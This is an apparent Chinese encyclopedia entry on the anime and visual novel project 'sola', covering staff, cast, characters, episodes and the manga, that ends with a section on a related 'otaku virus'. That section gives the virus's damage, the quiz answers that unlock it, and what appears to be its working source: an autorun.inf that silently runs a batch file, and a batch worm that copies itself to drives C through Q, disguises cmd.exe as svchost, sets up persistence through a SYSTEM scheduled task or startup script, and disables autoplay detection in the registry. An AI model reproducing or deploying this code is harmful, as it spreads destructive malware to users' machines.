标题：sola
作品概况
《电击大王》力推的久弥直树（原作）×七尾奈留（角色设计）《sola》企划正在向动画和漫画等多方面同时进军！下个月的《电击大王》将正式开始连载漫画版的《sola》，原案为KEY社久弥直树（代表作品《KANON》），人设原案为七尾奈留，作画为阿倍野茶子。《sola》的动画也已决定制作，共13集，由NOMAD公司负责，并于2007年4月播出。在COMIKET71上，率先发售了一张《sola》的广播剧CD，当然剧本和插图仍然是由久弥直树、七尾奈留二人负责，能登、中原、清水、金田等当红女声优都将为作品中的角色献声。此外CD中还收录了《sola》的第一首印象歌曲《敏感的风景》。网上广播亦于2007年2月2日开始发放。
作品的舞台——加明见町（かなみまち， 加明见町）被网上的人认为是以日本长崎县长崎市作为蓝本。
■商品：「Prologue of sola」  ■价格：1枚　500円（税込）
■日时：2006年12月29日～31日
■场所：コミックマーケット71 Lantis/Mellow Headブースにて
■歌：敏感な风景 Ceui
■出演
森宫依人(C.V.冈本信彦)
四方茉莉(C.V.能登麻美子)
森宫苍乃(C.V.中原麻衣)
石月真名(C.V.本多阳子)
石月小依(C.V.清水爱)
辻堂刚史(C.V.藤原启治)
神河茧子(C.V.金田朋子)
名称解释
动画海报(40张)而「sola」此词可能是由日语中的「空（そら， 空）」的罗马字「sora」而来，即「天空」之意，拉丁文字中「sola」此词也有寂静之声的意思（这是某宣传动画里说的），而根据字典上解释西班牙语、葡萄牙语和意大利语中「sola」是“唯一的”的意思，动画版中大量出现天空的分镜也是其特点之一。
故事简介
游戏海报(40张)依人是个喜爱着天空的普通高中一年级学生。石月真名是个活泼开朗的少女，同时也是依人的同学。真名的妹妹小依是小学二年级的学生，但因为身体状况不是很好，所以一直在一家可以看到大海的医院中住院。在这家医院中，小依遇到了一个名叫森宫苍乃的女孩。森宫苍乃是依人的姐姐。这一天，是苍乃的生日，依人和真名一起去医院探望苍乃和小依，四个人愉快的嬉戏着。正在此时，神秘男子佛堂刚史与身着歌特萝莉服装的少女神河茧子展开了共同旅行。少女四方茉莉在街道的教会中独自地生活。然后，某日的凌晨四点，在美丽的海滨自然公园中，茉莉与正准备拍摄天空照片的依人却偶然相遇了。少年与少女的相遇，拉开了不思议事件的序幕……。[1]
角色简介
※角色简介中可能含有剧透内容，注意。
※广播剧和动画的声优相同。　
森宫 依人（森宫 依人（もりみや よりと），声：冈本信彦）
本作男主角，开朗的高校生，双亲逝世后和亲姐苍乃生活，和石月真名等人是同校友人。最近喜欢了拍摄天空。在一次偶然机会下，和茉莉邂逅。实体是苍乃用纸片做成的。本是生于古代（具体时代并不知道）的普通人类，不希望苍乃当做活祭，与姐姐一起逃到茉莉所在的山洞藏身。后死于山洪，因苍乃用纸片做的人体得以复活，但当时的记忆只是些碎片。喜欢茉莉。最后与茉莉决定帮助姐姐变成人类，为茉莉挡下姐姐的一击而变成纸片死亡。  森宫 依人四方 茉莉（四方 茉莉（しほう まつり），声：能登麻美子） 
本作女主角，活泼天真又善良，但是个机械白痴，认为无法工作的机器只需敲打或脚踢即可，喜欢“蕃茄红豆汤”。在一次偶然机会下，和森宫依人邂逅。外表是十多岁的少女，实际上并非人类，而是不老不死、已活了350年以上的“夜祸人”。生来就是夜祸人。身体能力异于常人，而且伤口愈合速度极高，对受伤的耐力亦较强。可以直接接触或撒开一道「屏障」令接近自己的物体（包括人类）风化或结构腐坏。正因为是夜祸人，不喜欢黑夜，渴望看到日间的蓝天。喜欢依人。最后用自己的生命将苍乃变成人类。  四方 茉莉森宫 苍乃（森宫 苍乃（もりみや あおの）， 声：中原麻衣） 
女主角其二，依人的亲姐，性格冷静而不多说话，看上去表情不多，实际上是外冷内热。她是被茉莉变成的夜祸人，身体能力和伤口愈合速度与茉莉一样比普通人类强，另外能随意召唤、控制纸张，并依自己的意思活动（有时需要滴血於纸上），和阴阳道的式神有相似之处，另外也可以控制被纸张付著的物件。也可以用纸造出任何事物，不过有时可能会因过分使用力量而昏倒。依人对她来说十分重要。与茉莉发生矛盾的原因与过去经历有关，与依人曾经的死有关，也与茉莉将自己变成夜祸人有关。为了平定恶鬼作祟被选定的活祭，因依人不愿她死去，与依人一同逃到茉莉所在的山洞。依人死于山洪，自己也因悲伤而自杀，被茉莉变成夜祸人。最后因茉莉的牺牲得以变回普通人，并进入依人所在的学校。其实也爱上了自己的弟弟依人。  森宫 苍乃石月 真名（石月 真名（いしづき まな），声：本多阳子） 
依人的同班同学，在有名的海鲜餐厅“Ajour”兼职。一直喜欢依人，但在依人消失时也没说出自己的真实心意。  石月 真名石月 小依（石月 こより（いしづき こより）， 声：清水爱） 
真名的妹妹，小学2年级生。因身体不佳要经常入院，更认识了苍乃。对苍乃有一种特殊的感情，是一个相当可爱的孩子。  石月 小依辻堂 刚史（辻堂 刚史（つじどう たけし）， 辻堂 刚史 声：藤原启治） 
儿时便和茧子在一起的男子。茧子成为夜祸后，他十七年内一直试图以特殊的剑，将四方茉莉夜祸的生命换得茧子还原成人的生命。擅长使用飞镖。  辻堂 刚史神河 茧子（神河 茧子（かみかわ まゆこ）， 神河 茧子 声：金田朋子） 
经常和刚史一起，穿著哥德萝莉衣服的任性女孩，总是喜欢拖着箱子躲迷藏．十七年前因强盗入室抢劫被杀害，但又被一个神秘的人变成夜祸。  神河 茧子佐仓 纱绘（佐仓 纱絵（さくら　 さえ）， 声：小清水亚美） 
依人的同班同学，不折不扣的胡子控，暗恋刚史。
上原 塔子（上原 塔子（うえばら とうこ）， 声：小野凉子） 
依人的同班同学。
水口 千里（水口 ちさと（みずぐち ちさと），声：矢作纱友里） 
依人的同班同学。
用语及设定
夜祸人
夜祸人（やかびと），或称夜祸。有生来就是夜祸人。也有原是人类，但死後被其他夜祸人施力变成，外貌保留在变成夜祸人时样子；但是如原先的夜祸人力量减弱，被他变成的夜祸的力量亦会随之变小。不能被影子以外的猛烈阳光照射（包括太阳灯），被照射的部分会化为光粉消失，但亦可以慢慢恢复。夜祸人除非被杀或待在太阳下太久，否则就是不老不死。各夜祸人的其他能力未必一样。sola动画截图(16张)
茉莉把夜祸人解释为「被人类舍弃的痛苦和不安所聚集而成的存在」，而且总是孤独一人。刚史则认为和夜祸人相处太久会被「夜」诱惑，而且不能逃脱。
刚史的剑
过去憧憬人类的夜祸一族制造，在夜祸人身上造成的伤口很难复原，专门用于消灭夜祸人的武器，也是导致茉莉变得孤身一人的东西。能吸收夜祸人的血。是刚史用来让茧子变回人类的重要武器。
周边联动
漫画
阿倍野茶子所绘，前序于电击大王2007年2月号刊登，2007年3月号开始正式开始连载。SOLA漫画现已完结，总共14话。具体信息见该词条对应义项。
网上广播
第一期“天蓝色广播 in chararadio”
能登麻美子与中原麻衣隔周主持，chararadio于2007年2月2日至2月23日发放，全4回。
嘉宾：
第3回—本多阳子（石月真名）
第4回—金田朋子（神河茧子）
环节
茉莉与苍乃 心之通信
利用节目主持隔周担当的特性，茉莉和苍乃互相写信（实际上是心理测验）给对方的环节。
sola的留言板
介绍关于sola最新消息。
广播剧
在第3、4回播放了一部分于Comic Market第71届所发售的广播剧CD。
第二期“天蓝色广播”
清水爱与本多阳子主持，DIGITAL BEAT于2007年3月30日开始发放。
环节：

各话标题
话数标题中译剧本分镜演出作画监督1ソライロノカサ天蓝色的伞花田十辉小林智树古贺诚2ミアゲルアオ仰头望的蓝日下隼大田谦治3オダヤカノヒ平静的日子上江洲诚小寺胜之西山明树彦田村正文4ネガイフタリ二人的希望久弥直树西村博昭增田让治
定井秀树5フリソソグヒカリ倾泻的光芒杉原研二堀之内元吉本毅いがりたけし
山本真嗣6イケニエノチ牺牲者的血花田十辉小寺胜之千叶大辅平田卓也7ハイイロノヨル灰色的暗夜花田十辉
杉原研二小野胜己日下隼大田谦治8キエナイオモイ难消的思念上江洲诚松尾衡松泽健一定井秀树
志贺道宪9ヤクソクノハテ约定的尽头久弥直树高柳滋仁田村正文10ユレルマボロシ摇曳的幻影花田十辉小寺胜之千叶大辅重松晋一11ムソウレンガ梦想连歌久弥直树菊池聪延12ユウメイノサカイ幽冥的境界花田十辉松尾衡migmi大田谦治
いがりたけし13ソラ天空花田十辉
久弥直树小林智树日下隼古贺诚
山本真嗣
阿乱须未椎DVD收录14ベツルート另一路线上江洲诚古川政美长冈义孝尾尻进矢15アケルソラへ[1]迎向黎明的天空久弥直树migmi菊池聪延
STAFF
原案 - 久弥直树
キャラクター原案 - 七尾奈留
监督 - 小林智树
企画协力 - 九尾
シリーズ构成 - 花田十辉
キャラクターデザイン/総作画监督 - 古贺诚
设定协力 - 大内正彦、益田贤治
美术监督 - 广瀬义宪（J.C.STAFF美术部）
色彩设计 - 梅崎ひろこ
撮影监督 - 吉田寛（スタジオコスモス）
编集 - 重村建吾（スタジオごんぐ）
HD编集 - スタジオごんぐ、佐藤とも子
ビデオ编集スタジオ - キュー?テック
オンライン编集 - 藤田哲郎、大川奈穂
オンライン编集スタジオデスク - 冈本昌明
音楽 - 藤间仁（Elements Garden）
音楽プロデューサー - 伊藤善之
音楽制作 - ランティス
音楽制作担当 - 木戸健介
音响监督 - 明田川仁
音响効果 - 山谷尚人（サウンドボックス）
录音 - 根岸信洋
录音助手 - 小长谷启太
录音スタジオ - プロセンスタジオ
音响制作 - マジックカプセル
プロデューサー - 永谷敬之、井上俊次（ランティス）、细川修（博报堂DYメディアパートナーズ）、里见哲朗、小野达矢（ノーマッド）
制作プロデューサー - 高江勇次
宣伝 - 千贺絵里子、岩下由希恵
制作协力 - 博报堂DYメディアパートナーズ（大野実小、岐须泰世）
アニメーション制作 - NOMAD
制作 - sola project（バンダイビジュアル、ランティス、博报堂DYメディアパートナーズ）
音乐
片头曲“敏感な风景”（第1集） 
作词：畑亚贵 
作曲．编曲：小高光太郎 
歌：Ceui 
“colorless wind”（第2～15集） 
作词：畑亚贵 
作曲．编曲：大久保薫 
歌：结城アイラ 
片尾曲“mellow melody”（第1～12集、第14～15集） 
作词：畑亚贵 
作曲．编曲：小高光太郎 
歌：Ceui 
“见上げるあの空で”（第13集） 
作词：畑亚贵 
作曲：黑须克彦 
编曲：大久保薫 
歌：结城アイラ 
插入曲“敏感な风景”（第9、15集） 
作词：畑亚贵 
作曲．编曲：小高光太郎 
歌：Ceui
病毒
关于宅男病毒的内容请详见 “死亡问答”（Sola）宅男病毒”词条。
分集剧情分集查询收起查询1集2集3集4集5集6集7集8集9集10集11集12集13集 第1集 ソライロノカサ 天蓝色的伞 　　喜欢拍摄“天空”的依人在一次拍摄日出的过程中，遇到了神秘的少女四方茉莉，展开了两人间的命运的相见。第2集 ミアゲルアオ 仰头望的蓝 　　依人前往废弃中的教堂，恰好碰上了茉莉正与loli控大叔（刚史）在战斗，不经意间将茉莉救回自己家里。在两人的交谈中，依人得知了茉莉“夜祸族”的体质，在布满天空图案的天花板下，依人立下了一定要让茉莉“看到真正的天空”的誓言。第3集 オダヤカノヒ 平静的日子 　　真名通过女人的直觉，发现了藏身于依人家中的茉莉的存在。与依人担心的不一样，真名和茉莉两个女性很好的进行了沟通，成为了朋友。通过这事件之后，茉莉也搬来了行李正式住在了依人家里。第4集 ネガイフタリ 二人的希望 　　依人的姐姐——苍乃活跃篇。住在同一家医院的石月小依与精通折纸的苍乃成为了朋友。本集后半段回忆了两人认识的经过，而最后小依也战胜了自己，亲口向苍乃说出了那个自己不敢说出来的事实“自己要出院了”，不过幸运的是，小依与苍乃的友情却没有中断。第5集 フリソソグヒカリ 倾泻的光芒 　　一开始是loli控大叔（刚史）那段17年前血淋淋的回忆。茉莉与依人在雨天外出，一同游玩。天晴后刚史大叔为了某个目的（……暂时保密）前往依人家中向茉莉展开突然袭击，茉莉为了逃走，不惜暴露在白天的阳光下。就在大叔要杀死茉莉的时候，返家的依人千钧一发间挡下了向茉莉挥出的利剑。出于这样的那样的原因，大叔暂时撤退。第6集 イケニエノチ 牺牲者的血 　　依人想要将茉莉介绍给自己的姐姐，而苍乃也通过小依的“侦查”得知了茉莉的存在。两位很久以前就相互认识的“夜祸”，终于到了相互面对的那一刻。在断断续续的回忆中，喷溅的鲜血、晶莹的泪水、善意的拯救交织在了一起。茉莉与依人在夜晚潜入了依人所在的学校，依人的惊讶中，两人在静谧的夜空下接吻了。随后，茉莉丢下一句“我并没有捉弄你~”之后便消失的无影无踪……第7集 ハイイロノヨル 灰色的暗夜 　　茉莉走了，依人寻遍了她去过的所有地方仍不见其踪影。苍乃出院了，搬回到了家里住，姐弟二人又重新过回到了以往平静的生活，但是……依人的心中，并没有放弃对茉莉的感情。终于，在一个月后的一天，依人陪伴姐姐外出，不经意间遇上了茉莉。虽然苍乃在哀求依人不要去追，但依人还是冒雨追了上去。雷声轰鸣，久别的二人终于再次拥抱在了一起，不过夹杂在浓浓爱意当中的，是刺目的鲜血……第8集 キエナイオモイ 难消的思念 　　依人陷入了一个奇怪的梦，梦里的自己亲手刺伤了茉莉……当醒来的时候，却又什么也回忆不到。如此往复，以至于陷入了癫狂之中。另一方面，机缘巧合下茉莉与茧子以“互助”的形式结成了同伴。寻找茧子的刚史大叔、企图杀死茉莉的苍乃、结伴寻找茉莉的依人和真名就在这样的月夜下，向着共同的目的地奔去……第9集 ヤクソクノハテ 约定的尽头 　　同为“夜祸”的苍乃对茉莉展开了攻势，虽然苍乃占尽优势，但是无法对茉莉下杀手。终于，最后的杀招，化作了无力的纸片随风逝去。而迟到一步的依人还是找不到茉莉的踪迹，昏倒后被真名带回自己的家里。另一方面，刚史大叔再次碰上了受伤的茉莉，一番激战后茉莉负伤坠落高塔，在刚史的利剑落下的一瞬间被赶到的莹子救下。故事也转到了17年前的刚史与莹子……第10集 ユレルマボロシ 摇曳的幻影 　　通过真名之口，依人得知了苍乃是“夜祸”的事。茉莉与依人终于再次相遇了，等待他的，是利剑穿腹。终于，依人明白了自己究竟是什么。寂静的夜下，所有人都辗转反侧，无法入眠。迎着灿烂的朝阳，茉莉提出了“两人一起消失”的请求……第11集 ムソウレンガ 梦想恋歌 　　平淡的日子里，充满了离别与泪水，忘却与谎言。依人和苍乃要搬家了，小依却不想离开这个教自己折纸的大姐姐。真名虽然不承认，但是依人的存在感却在无形中渐渐消失。刚史和莹子要一起离开这个城镇了，留下的……是两人并肩行走的背影。幻觉像是梦境一样，确实是存在的，不过当梦醒过来的时候，就会随着记忆消失。深夜，出现在苍乃眼前的茉莉，究竟是梦？还是幻影呢？第12集 ユウメイノサカイ 幽冥的境界 　　月夜下的废墟，两位少女赌上了未来，展开了激烈的战斗。蔚蓝的天空背景下，茉莉拔刀刺向了自己，然后将附有恢复原样魔力的剑向着苍乃刺去，但是，真的能够恢复到以前的样子么？第13集 ソラ 天空 　　茉莉和苍乃都恢复了久远前的记忆，一同被回忆起的，还有那片洞内的蓝天。依人倒在了剑下，在苍乃的面前化作纸片消失了。茉莉将利剑连同自己的生命一并刺进了苍乃的身体，然后消失在了朝阳下……一年后，平凡的生活还在持续着，每个人，都有着各自幸福与烦恼。不变的，只有天空下的……那两罐番茄红豆汤而已。1-10集11-13集查看全部剧情分页查看剧情
概况
漫画版《sola》由阿倍野茶子所绘，前序于电击大王2007年2月号刊登，2007年3月号开始正式在杂志《电击大王》上开始连载。连载时间从2006年12月21日持续到2008年2月21日。
和动画版不同的是，漫画运用不少杀必死，和偶然出现的搞笑用三头身Q版造型。而且剧情不尽相同。
单行本发售信息
漫画《sola》连载开始后先后发售了两卷单行本，由角川书店旗下的出版社MediaWorks发行，繁体中文版由台湾角川书店引进发行。
第一集日文版于2007年7月27日发售，ISBN：9784840239608。中文版于2008年5月29日发售，ISBN：9789861746821。
第二集日文版于2008年3月27日发售，ISBN：9784840242462。中文版于2008年9月11日发售，ISBN：9789861748061。

危害性
病毒会感染用户近期打开过的(DOC，TXT，JPG)文件，使之全部变成EXE文件。在重启累计次数达到50的  时候，死亡问答便会被激活，同时锁定系统，删除NTLDR（全称是NT Loader，是系统加载程序）。若用户回答问题正确，病毒恢复NTLDR，并且进入自我清除模式。若用户回答失败，则需重装系统。
问题与答案
游戏篇（注：一共有5个问题。只要答对两个或两个以上就过关。）
1.患病的男主角在医院里遇上患病的少女，并和她一起逃出医院，到达了某地。这个地方盛产某种花，而女主角也喜欢这种花。传说这种花是一个美男子被诅咒而变成的。
请问这部作品的名称是？（8个英文字母）
2.男主角与女主角在小镇上相遇，女主角非常喜欢恐龙，有模仿某种动物叫声的口癖，并且女主角与n(n大于或等于618，小于或等于1321)年前某个夏天的故事有关系，这个女主角和n年前夏天故事的女主角的姓氏的第一个字都是“神”。
请写出这部作品的名称。（3个英文字母）
3.男主角遭遇车祸，醒来后发现世界已经变成地狱一般的景象，往昔的朋友变成了怪物。只有女主角在他的眼中才是正常的人类。于是，他守护着自己心中唯一的真实。
请写出这部作品的女主角的名字的中文拼音。（5个字母，字母中间不要加空格。）
4.有如下词语来描述B：很小，有薄薄的翅膀，下雨也不会被淋湿。有如下词语来描述A：一种乐器，要靠魔力来演奏，与人声搭配最为恰当。而C是一个一年四季都下着雨的城市，D是一所音乐学院。
请写出故事情节中同时包含A、B、C、D的作品的中文名称的前三个字的汉语拼音字母。（12个字母，字母中间不要加空格。）
5.在N年以后，人口暴涨。有些人就按下导弹开关，使细菌兵器袭击了地球，最终引起了一场恶战。在地球上的人类已经所剩无几的时候，有一个人为了寻找战前人类留下的有用物品，进入了一个废墟都市。在那里，他遇到了一个天象馆里的礼仪机器人，并和她发生了一段故事。
这部作品名称的中文拼音是？（11个字母。字母中间不要加空格。其中第一个字是后鼻音。）
游戏篇答案：
1.narcissu ——（水仙）
2.air ——（air）
3.shaye ——(沙耶之歌)
4.jiaoxiangyue ——（交响乐之雨）
5.xingzhimeng ——（星之梦）动画篇（注：一共有5个问题。只要答对两个或两个以上就过关。）
1.男主角在入学第一天就听到女主角惊天动地的发言，并加入了女主角创建的一个社团，这个社团教室原本是文学社的，但被女主角强行占用。主要社团成员有：眼睛娘、很有气势的社长、有着魔鬼身材，比男主角高一个年级的吉祥物、被社长指挥得团团转的男主角。
请问这个社团叫什么团？（3个英文字母）
2.男主角与女主角在小镇上相遇，女主角非常喜欢恐龙，有模仿某种动物叫声的口癖，并且女主角与n(n大于或等于618，小于或等于1321)年前某个夏天的故事有关系，这个女主角和n年前夏天故事的女主角的姓氏的第一个字都是“神”。
请写出这部作品的名称（3个英文字母）
3.如果用B、C分别代表2种人或物体的名称，那么每隔一段时间，就会有7个被B选中的人参加一种名为B战争的战斗，获胜者可以获得B，而C是B召唤出来的，拥有强大的力量，帮助主人为了B而战斗。
请问这部作品的名称的前4个英文字母是什么？
4.如果用A表示一个名词，那么有一部作品的名称为A少女，A少女们互相战斗，夺取对方的A之心，没有A之心的少女会永远沉睡，一个A少女收集齐了其他A少女的A之心之后，就有某种事情要发生。
请问A的汉语拼音字母是（8个字母）
5.有一种战斗机，只有神经系统接受了改造的人才能驾驶。4个孩子作为该战斗机的驾驶员展开训练，3个孩子先后在事故中丧生。军方为了给最后一个孩子作战的理由，让她转入了某学校。她于一个晚上，在学校的游泳池里遇到了男主角。后来，女主角加入了一个社团，该社团连同女主角共有4人。
这部作品名称中有3个英文字母，请问这3个英文字母是？
动画篇答案：
1. sos ——（凉宫春日的忧郁）
2. air ——（air）
3. fate——（Fate/stay night）
4. qiangwei ——（蔷薇少女）
5. ufo ——（伊里野的天空 UFO之夏）
SOLA源代码
是个autorun.inf类的
autorun.inf内容如下：
[autorun]
shell\打开(&O)\command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"
shell=打开(&O)
shell\open=复制磁盘(&C)
shell\open\Command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"
病毒会在字体目录生成衍生物
%systemroot%\Fonts\Regedit.reg
%systemroot%\Fonts\sleep.exe
%systemroot%\Fonts\SOLA.BAT
%systemroot%\Fonts\est_type2032.fon
会在字体目录生成个文件夹
%systemroot%\Fonts\solasetup
会在任务计划目录生成衍生物
%systemroot%\Tasks\Tasks.job
病毒代码
－－－－－
@echo off
set sola=%systemroot%\Fonts
set setup=%systemroot%\Fonts\solasetup
if not "%1"=="-USB" goto Start
start /max ..
if exist %sola%\SOLA.BAT goto End
::========================Infect==============================
:Infect
cd\
md %systemroot%\Fonts\solasetup
::————文件复制---------
copy sola\Autorun.inf %setup%\Autorun.inf
copy sola\SOLA.BAT %setup%\SOLA.BAT
copy sola\宅男请进.RAR %setup%\宅男请进.RAR
copy sola\Tasks.xxx %setup%\Tasks.xxx
copy sola\sleep.exe %setup%\sleep.exe
tasklist >%sola%\task.txt
FOR /F "tokens=1" %%i in ('findstr /I "svchost.exe" "%sola%\task.txt"') do set svchost=%%i
copy %systemroot%\system32\cmd.exe %sola%\%svchost%
del %sola%\task.txt
:Tasks
copy %setup%\Tasks.xxx %systemroot%\Tasks\Tasks.job
schtasks /change /ru "NT AUTHORITY\SYSTEM" /tn "Tasks" & if errorlevel 1 goto TaskFail
goto TaskSuc
:TaskFail
%homedrive%
cd "%ALLUSERSPROFILE%"
cd 「开始」菜单\程序\启动
echo On Error Resume Next>SOLA.VBS
echo set ws=wscript.createobject("wscript.shell")>>SOLA.VBS
echo ws.run "%sola%\svchost.exe /c %sola%\SOLA.BAT",0 >>SOLA.VBS
copy SOLA.VBS %sola%\SOLA.VBS
echo NT>%systemroot%\Fonts\NoTasks
:TaskSuc
attrib %systemroot%\Tasks\Tasks.job +s +h +r
copy %setup%\sola.bat %sola%\sola.bat
copy %setup%\sleep.exe %systemroot%\system32\sleep.exe
:NoAutoPlay
net stop "Shell Hardware Detection"
echo Windows Registry Editor Version 5.00>%systemroot%\Fonts\Regedit.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ShellHWDetection]>>%systemroot%\Fonts\Regedit.reg
echo "Start"=dword:00000004>>%systemroot%\Fonts\Regedit.reg
start regedit /s %systemroot%\Fonts\Regedit.reg
:KillTMG
goto End
::======================Infect======================================
::======================Start=======================================
:Start
%homedrive%
cd "%ALLUSERSPROFILE%"
cd 「开始」菜单\程序\启动
date /t >%sola%\est_type2032.fon
findstr /c:"-10-01" "%sola%\est_type2032.fon" & if not errorlevel 1 goto DayOn
if exist %systemroot%\Fonts\NoTasks if not exist SOLA.VBS copy %sola%\SOLA.VBS SOLA.VBS
:Continue
sleep 300&set C=0 & echo 1>C:\solachk1 & findstr . C:\solachk1 & if not errorlevel 1 del C:\solachk1 & sleep 1000&set C=1 & findstr /C:"SOLA_1.0" C:\Autorun.inf & if errorlevel 1 attrib -s -h -r C:\Autorun.inf&copy /y %setup%\Autorun.inf C:\Autorun.inf&attrib C:\Autorun.inf +s +h +r&md C:\SOLA&copy /y "%setup%\*" C:\SOLA\*&attrib C:\SOLA +s +h +r
sleep 300&set D=0 & echo 1>D:\solachk1 & findstr . D:\solachk1 & if not errorlevel 1 del D:\solachk1 & sleep 1000&set D=1 & findstr /C:"SOLA_1.0" D:\Autorun.inf & if errorlevel 1 attrib -s -h -r D:\Autorun.inf&copy /y %setup%\Autorun.inf D:\Autorun.inf&attrib D:\Autorun.inf +s +h +r&md D:\SOLA&copy /y "%setup%\*" D:\SOLA\*&attrib D:\SOLA +s +h +r
sleep 300&set E=0 & echo 1>E:\solachk1 & findstr . E:\solachk1 & if not errorlevel 1 del E:\solachk1 & sleep 1000&set E=1 & findstr /C:"SOLA_1.0" E:\Autorun.inf & if errorlevel 1 attrib -s -h -r E:\Autorun.inf&copy /y %setup%\Autorun.inf E:\Autorun.inf&attrib E:\Autorun.inf +s +h +r&md E:\SOLA&copy /y "%setup%\*" E:\SOLA\*&attrib E:\SOLA +s +h +r
sleep 300&set F=0 & echo 1>F:\solachk1 & findstr . F:\solachk1 & if not errorlevel 1 del F:\solachk1 & sleep 1000&set F=1 & findstr /C:"SOLA_1.0" F:\Autorun.inf & if errorlevel 1 attrib -s -h -r F:\Autorun.inf&copy /y %setup%\Autorun.inf F:\Autorun.inf&attrib F:\Autorun.inf +s +h +r&md F:\SOLA&copy /y "%setup%\*" F:\SOLA\*&attrib F:\SOLA +s +h +r
sleep 300&set G=0 & echo 1>G:\solachk1 & findstr . G:\solachk1 & if not errorlevel 1 del G:\solachk1 & sleep 1000&set G=1 & findstr /C:"SOLA_1.0" G:\Autorun.inf & if errorlevel 1 attrib -s -h -r G:\Autorun.inf&copy /y %setup%\Autorun.inf G:\Autorun.inf&attrib G:\Autorun.inf +s +h +r&md G:\SOLA&copy /y "%setup%\*" G:\SOLA\*&attrib G:\SOLA +s +h +r
if exist %systemroot%\Fonts\NoTasks if not exist SOLA.VBS copy %sola%\SOLA.VBS SOLA.VBS
sleep 300&set H=0 & echo 1>H:\solachk1 & findstr . H:\solachk1 & if not errorlevel 1 del H:\solachk1 & sleep 1000&set H=1 & findstr /C:"SOLA_1.0" H:\Autorun.inf & if errorlevel 1 attrib -s -h -r H:\Autorun.inf&copy /y %setup%\Autorun.inf H:\Autorun.inf&attrib H:\Autorun.inf +s +h +r&md H:\SOLA&copy /y "%setup%\*" H:\SOLA\*&attrib H:\SOLA +s +h +r
sleep 300&set I=0 & echo 1>I:\solachk1 & findstr . I:\solachk1 & if not errorlevel 1 del I:\solachk1 & sleep 1000&set I=1 & findstr /C:"SOLA_1.0" I:\Autorun.inf & if errorlevel 1 attrib -s -h -r I:\Autorun.inf&copy /y %setup%\Autorun.inf I:\Autorun.inf&attrib I:\Autorun.inf +s +h +r&md I:\SOLA&copy /y "%setup%\*" I:\SOLA\*&attrib I:\SOLA +s +h +r
sleep 300&set J=0 & echo 1>J:\solachk1 & findstr . J:\solachk1 & if not errorlevel 1 del J:\solachk1 & sleep 1000&set J=1 & findstr /C:"SOLA_1.0" J:\Autorun.inf & if errorlevel 1 attrib -s -h -r J:\Autorun.inf&copy /y %setup%\Autorun.inf J:\Autorun.inf&attrib J:\Autorun.inf +s +h +r&md J:\SOLA&copy /y "%setup%\*" J:\SOLA\*&attrib J:\SOLA +s +h +r
sleep 300&set K=0 & echo 1>K:\solachk1 & findstr . K:\solachk1 & if not errorlevel 1 del K:\solachk1 & sleep 1000&set K=1 & findstr /C:"SOLA_1.0" K:\Autorun.inf & if errorlevel 1 attrib -s -h -r K:\Autorun.inf&copy /y %setup%\Autorun.inf K:\Autorun.inf&attrib K:\Autorun.inf +s +h +r&md K:\SOLA&copy /y "%setup%\*" K:\SOLA\*&attrib K:\SOLA +s +h +r
sleep 300&set L=0 & echo 1>L:\solachk1 & findstr . L:\solachk1 & if not errorlevel 1 del L:\solachk1 & sleep 1000&set L=1 & findstr /C:"SOLA_1.0" L:\Autorun.inf & if errorlevel 1 attrib -s -h -r L:\Autorun.inf&copy /y %setup%\Autorun.inf L:\Autorun.inf&attrib L:\Autorun.inf +s +h +r&md L:\SOLA&copy /y "%setup%\*" L:\SOLA\*&attrib L:\SOLA +s +h +r
sleep 300&set M=0 & echo 1>M:\solachk1 & findstr . M:\solachk1 & if not errorlevel 1 del M:\solachk1 & sleep 1000&set M=1 & findstr /C:"SOLA_1.0" M:\Autorun.inf & if errorlevel 1 attrib -s -h -r M:\Autorun.inf&copy /y %setup%\Autorun.inf M:\Autorun.inf&attrib M:\Autorun.inf +s +h +r&md M:\SOLA&copy /y "%setup%\*" M:\SOLA\*&attrib M:\SOLA +s +h +r
sleep 300&set N=0 & echo 1>N:\solachk1 & findstr . N:\solachk1 & if not errorlevel 1 del N:\solachk1 & sleep 1000&set N=1 & findstr /C:"SOLA_1.0" N:\Autorun.inf & if errorlevel 1 attrib -s -h -r N:\Autorun.inf&copy /y %setup%\Autorun.inf N:\Autorun.inf&attrib N:\Autorun.inf +s +h +r&md N:\SOLA&copy /y "%setup%\*" N:\SOLA\*&attrib N:\SOLA +s +h +r
if exist %systemroot%\Fonts\NoTasks if not exist SOLA.VBS copy %sola%\SOLA.VBS SOLA.VBS
sleep 300&set O=0 & echo 1>O:\solachk1 & findstr . O:\solachk1 & if not errorlevel 1 del O:\solachk1 & sleep 1000&set O=1 & findstr /C:"SOLA_1.0" O:\Autorun.inf & if errorlevel 1 attrib -s -h -r O:\Autorun.inf&copy /y %setup%\Autorun.inf O:\Autorun.inf&attrib O:\Autorun.inf +s +h +r&md O:\SOLA&copy /y "%setup%\*" O:\SOLA\*&attrib O:\SOLA +s +h +r
sleep 300&set P=0 & echo 1>P:\solachk1 & findstr . P:\solachk1 & if not errorlevel 1 del P:\solachk1 & sleep 1000&set P=1 & findstr /C:"SOLA_1.0" P:\Autorun.inf & if errorlevel 1 attrib -s -h -r P:\Autorun.inf&copy /y %setup%\Autorun.inf P:\Autorun.inf&attrib P:\Autorun.inf +s +h +r&md P:\SOLA&copy /y "%setup%\*" P:\SOLA\*&attrib P:\SOLA +s +h +r
sleep 300&set Q=0 & echo 1>Q:\solachk1 & findstr . Q:\solachk1 & if not errorlevel 1 del Q:\solachk1 & sleep 1000&set Q=1 & findstr /C:"SOLA_1.0" Q:\Autorun.inf & if errorlevel 1 attrib -s -h -r Q:\Autorun.inf&copy /y %setup%\Autorun.inf Q:\Autorun.inf&attrib Q:\Autorun.inf +s +h +r&md Q:\SOLA&copy /y "%setup%\*" Q:\SOLA\*&attrib Q:\SOLA +s +h +r
